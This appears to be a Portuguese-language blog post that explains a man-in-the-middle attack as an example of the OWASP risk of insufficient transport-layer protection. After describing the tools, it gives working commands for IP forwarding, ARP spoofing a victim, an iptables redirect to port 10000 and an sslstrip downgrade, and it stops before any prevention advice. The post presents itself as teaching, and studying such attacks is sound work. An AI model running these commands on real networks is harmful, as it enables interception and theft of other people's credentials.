E ai galera, tudo Blzinha?Olha so, estou trazendo aqui pra vcs, umas das TOP 10 falhas de seguranca da OWASP, e a Protecao Insuficiente na Camada de Transporte, pq escolhi ela, bom por fazer parte do meu trabalho, a seguranca, resolvi testar e funcionou, o que e bom para teste e ruim, sabendo que temos uma deficiencia. Bom em que consiste o ataque? e onde eu me transformo em Gateway, em outras palavras, serei o "Man in the Middle", com algumas ferramentas descrista aqui vc pode simular tal acao, lembrando que nao estou fazer apologia ou incentivando a ataques ou algo parecido, isso e muito SERIO, faco aqui uma explicacao didatica e formas de se prevenir dos ataques, entao se vc acha que vou passar mais informacoes de como realizar o ataque ou outras formas de como fazer, pode sair do blog, aqui estamos tentando estudar e um ajudar o outro de como se prevenir desse ataque, nao exige muito conhecimento, vc precisa somente entender o que se passa nos pacotes e o que cada aplicacao vai fazer com o resultado final.ManIn The MiddleEsteartigovaisertratadoasinformacoesdecomorealizarumaoperacaoMITM(ManInTheMiddle)equalmelhorformadeseprotegerdesseataque.InicialmentevamosexplicaoquesignificaMITM.MITN(Man in the Middle), nada mais e que o Homem no Meio, o computadorque tera a funcao de intermediar as conexoes geradas por um outrocomputador ou rede, com esse ataque voce sera o gateway novo darede, ou seja, todas as informacoes dentro da rede passaram porvoce.Foiutilizado cinco ferramentas para realizar o ataque, ngrep, iptables,ettercap e sslstrip, abaixo um descritivo de cada ferramentautilizada.NGREP-Possuiumamploconjuntodeargumentospermitindodiversasmaneirasdecoletadetrafegoefiltragemutilizandoexpressoesregulares,elefoifundamentalparanossaanalisedepacotes.Iptables-eumfirewallemniveldepacotesefuncionabaseadonoendereco/portadeorigem/destinodopacote,prioridade,etc.Elefuncionaatravesdacomparacaoderegrasparasaberseumpacotetemounaopermissaoparapassar.Emfirewallsmaisrestritivos,opacoteebloqueadoeregistradoparaqueoadministradordosistematenhaconhecimentosobreoqueestaacontecendoemseusistema.Dsniff-eumrastreadordetrafegoespecializadonacapturadenomes-de-usuarioesenhas.EleecapazderastreartrafegodosprotocolosSMTP,FTP,Telnet,POP,SMBesenhasdebancodedadosSQLentreoutrosprotocolos,comoumcanivetesuicoelepossuiumaferramentechamadaARPSPOOF.EtterCap O ettercap um programa classificado com sniffer, pois o mesmocaptura dados em uma rede local. Farejadores como sao conhecidos ossniffer eles capturam todo trafego da rede, com isso podemos capturarsenhas digitadas por outros usuarios de nossa rede. Analisando osdados podemos captura conversas de clientes de mensagem do tipo MSNou outros clientes de mensagem instantanea.SSLStrip- e uma ferramenta que pode passar as ligacoes SSL a ligacoesnormais sem SSL, permitindo assim que os dados que deveriam estarencriptados passarem sem qualquer tipo de protecao.Oataque foi realizado da seguinte forma: - 1oConfigurar nossa conexao para que seja permitido acesso de outroscomputadores na rede e passar a usar o computador atacante como gatewaycom a seguinte comando. #echo 1 > /proc/sys/net/ipv4/ip_forward - 2oConfigurar o ettercap para que quando iniciado ele faca uma regra deiptables no arquivo de configuracao dele. # vim /etc/etter.conf Retiraro comentario das seguintes linhas do iptables: Obs.: Existem duas configuracoes, para ipchains e iptables. - 3oInformar na rede ou apenas o computador da vitima que voce e ogateway agora e tudo sera passado pelo computador do atacante. #arpspoof -i INTERFACE -t [ENDERECO VITIMA] [ENDERECO GATEWAY] - 4oVamos usar o iptables agora para redirecionar uma porta, onde quetudo o que for acessado pela porta 80, sera redirecionada para porta10000, porta padrao do SSLStrip, podendo, claro, mudar essa porta,desde que voce informe ao SSLStrip que a porta e outra. #iptables -t nat -A PREROUTING -p tcp --destination-port 80 -jREDIRECT --to-ports 10000 - 5oVamos ativar nosso SSLStrip, ele fara a funcao de desabilitar oSSL, fazendo o usuario vitima usar conexoes que antes tinham SSL,agora estara sem. #sslstrip & ou # sslstrip -a -k